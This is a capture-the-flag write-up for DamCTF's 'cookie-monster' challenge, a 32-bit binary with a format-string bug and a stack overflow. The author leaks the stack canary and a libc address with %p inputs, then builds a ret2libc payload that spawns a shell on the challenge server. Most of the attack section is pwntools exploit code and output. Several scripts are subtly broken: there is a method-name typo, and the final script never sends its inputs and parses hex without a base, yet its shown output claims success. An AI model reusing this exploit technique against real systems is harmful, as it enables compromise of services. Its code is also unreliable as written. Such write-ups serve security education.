DamCTF - Cookie-Monster


This challenge was the first pwn challenge of the CTF

Initial Statement:

Do you like cookies? I like cookies.

nc chals.damctf.xyz 31312

Getting started

First thing I did was download the binary and check protections and try to run it.

$ file cookie-monster 
cookie-monster: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=998281a5f422a675de8dde267cefad19a8cef519, not stripped
$ checksec --file=cookie-monster 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   74) Symbols       No    0               2               cookie-monster

So we can see it is a x86 binary and it has stack canaries (not so surprising considering the title of the challenge). We can see there is NX so we won't be able to use shellcodes.
At this point we don't know if there is ASLR on the server.

Let's run the binary locally

$ ./cookie_monster
Enter your name: W00dy 
Hello W00dy 
Welcome to the bakery!

Current menu:
cat: cookies.txt: No such file or directory

What would you like to purchase?
cookies ! 
Have a nice day!

We can see we're asked a first input and then a second. We're going to disassemble the binary to understand better what it is doing. I will use IDA Pro to achieve this.

Let's start by the main function:

int __cdecl main(int argc, const char **argv, const char **envp)
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  bakery(); // This seems like the interesting function.
  return 0;

This function doesn't do much but calling bakery. Let's dive in.

unsigned int bakery() { 
	char s[32]; // [esp+Ch] [ebp-2Ch] BYREF 
	unsigned int v2; // [esp+2Ch] [ebp-Ch] 
	v2 = __readgsdword(0x14u); // This is the stack canary
	printf("Enter your name: "); 
	fgets(s, 32, stdin); // Taking the first input
	printf("Hello ");
	printf(s); // Looks like a format string !
	puts("Welcome to the bakery!\n\nCurrent menu:");
	system("cat cookies.txt");
	puts("\nWhat would you like to purchase?"); 
	fgets(s, 64, stdin); // Wait... that's a 32 bytes buffer ??
	puts("Have a nice day!");
	return __readgsdword(0x14u) ^ v2; 

So we can quickly identify vulnerabilities.

We have:

  • A format string vulnerability in the first input
  • A buffer overflow in the second input

Let's see if we can pwn some binaries !


Format string and canary leak

First thing to try will be leaking random addresses on the stack. To do so, I often use %p because it gives a nicely formatted address which makes it easily readable.

$ nc chals.damctf.xyz 31312
Enter your name: %p-%p-%p-%p-%p-%p
Hello 0x20-0xf7f6a5c0-0x8048592-0xf7f6a000-(nil)-0xff8ccbb8
Welcome to the bakery!

Current menu:
Choclate Chip
Oatmeal Rasin
Peanut Butter

What would you like to purchase?
Chocolate Chip
Have a nice day!

We can confirm there is a format string vulnerability ! Let's run the same payload.

$ nc chals.damctf.xyz 31312
Enter your name: %p-%p-%p-%p-%p-%p
Hello 0x20-0xf7efc5c0-0x8048592-0xf7efc000-(nil)-0xffceda88
Welcome to the bakery!

Current menu:
Choclate Chip
Oatmeal Rasin
Peanut Butter

What would you like to purchase?
Choclate Chip
Have a nice day!

Oh no ! ASLR is enabled... It makes addresses random and complexify exploitation.
Next step will be leaking the stack cookie. To do so, I wrote a tiny script to "bruteforce" the format string until it finds the canary. On x86 architectures, stack canary always end with a null byte, and is randomized at every run, making it easy to recognize.
First, I only need the offset, to avoid spamming the server, I do it locally. I know I could've just looked at the stack while debugging the program, but bruteforcing seemed faster to me.

Here's my script.

from pwn import *

context.log_level = 'error'

for i in range(100):
	r = process(b'cookie-monster')
	r.recvuntil(b': ')
	line = r.recvline().decode().split()[1]
	if line.endswith('00'):
		print(i, line)
$ python get_canary_offset.py
10 0x2000
15 0xe9de1000
17 0x804a000
55 0x804a000

Canary is at offset 15 !

Buffer overflow and canary bypass

We now have the canary, next step will be overflowing the buffer without triggering the stack smashing protection. We can see using the decompiled code that the buffer is 32 bytes long. Hence the canary should be placed after this buffer. Our payload should looke like this.

|					|		 |		    |        |    Our   | 
| 32 bytes of junk  | canary | padding  |  ebp   | ROPchain |
|					|		 | 			|        |          |

Please note the payload has to be maximum 64 characters long.

Next step will be finding the length of the padding + ebp. To achieve this, I used gdb, placed a 64 long string in the buffer and stepped until I met the stack canary check. At this point, I checked the stack and noted there were 3 addresses before my input.

--- Stack ---------------------------------------------------------------------
0xf2fffd270│+0x0000: 0x00000001   ← $esp
0xffffd274│+0x0004: 0x08048470  →  <_start+0> xor ebp, ebp
0xffffd278│+0x0008: 0xffffd2b8  →  0x00616170 ("paa"?)
0xffffd27c│+0x000c: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"

Which mean the padding will be 12 chars.


This step is the step where I struggled the most, mainly because there weren't much useful gadgets. So what I did in the end was leaking the libc and calculating the base of the libc to jump on system("/bin/sh").

Leaking the libc

Using the same script as before, after disabling ASLR, I was able to locate libc leaks.

from pwn import *

context.log_level = 'error'

for i in range(100):
	r = process(b'cookie-monster')
	r.recvuntil(b': ')
	line = r.recvline().decode().split()[1]
	if line.startsswith('0xf7'):
		print(i, line)
$ python leak_libc_addresses.py
2 0xf7f97540
8 0xf7f9000a
11 0xf7e1f6f0
12 0xf7f97540
13 0xf7ffd9b0
16 0xf7f97ce0

I then checked what they were pointing to using
x/i <address> in gdb

gef➤  x/i 0xf7f97540
  0xf7f97540 <_IO_2_1_stdin_>: mov    esp,DWORD PTR [eax]
gef➤  x/i 0xf7e1f6f0
  0xf7e1f6f0 <setbuf>: endbr32

The second leak was a false positive.

I then used https://libc.blukat.me/ to get the right libc.

Leaking an address from the binary

This was quite easy as we already had offsets of libc addresses in the binary.
%2$p leaked the address of _IO_2_1_stdin_

Final exploit

from pwn import *

r = remote('chals.damctf.xyz', 31312)

# libc from libc.blukat.me
libc = ELF('libc6-i386_2.27-3ubuntu1.4_amd64.so')

# Cookie leak and libc leak
r.recvuntil(b': ')

line = r.recvline().decode().split()[1].split('-')

cookie = int(line[0])
stdin_addr = int(line[1])
print(f"Found cookie ! {hex(cookie)}")
print(f"Found stdin address ! {hex(stdin_addr)}")

# Libc base calculation
libc_base = stdin_addr - libc.symbols["_IO_2_1_stdin_"]
print(f"Found libc base address ! {hex(libc_base)}")

# Libc addresses from libc_base and libc
libc_sh = next(libc.search(b"/bin/sh\x00")) + libc_base
libc_system = libc.symbols["system"] + libc_base
print(f"Found libc address ! {hex(libc_sh)}")
print(f"Found system address ! {hex(libc_system)}")

# Final payload

pld = b'A' * 32
pld += p32(cookie)
pld += b'A' * (48 - len(pld))
pld += p32(libc_system)
pld += b'AAAA'
pld += p32(libc_sh)

r.interactive() # Interactive shell \o/

And we get the flag executing it !

$ python solve.py 
[+] Opening connection to chals.damctf.xyz on port 31312: Done
[*] '/home/woody/Documents/CTF/DAMCTF/pwn/cookie-monster/libc6-i386_2.27-3ubuntu1.4_amd64.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Found cookie ! 0xe756f000
Found stdin address ! 0xf7ed35c0
Found libc base address ! 0xf7cfe000
Found libc address ! 0xf7e7988f
Found system address ! 0xf7d3ae10
[*] Switching to interactive mode
Have a nice day!
$ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
$ cat flag
Show Comments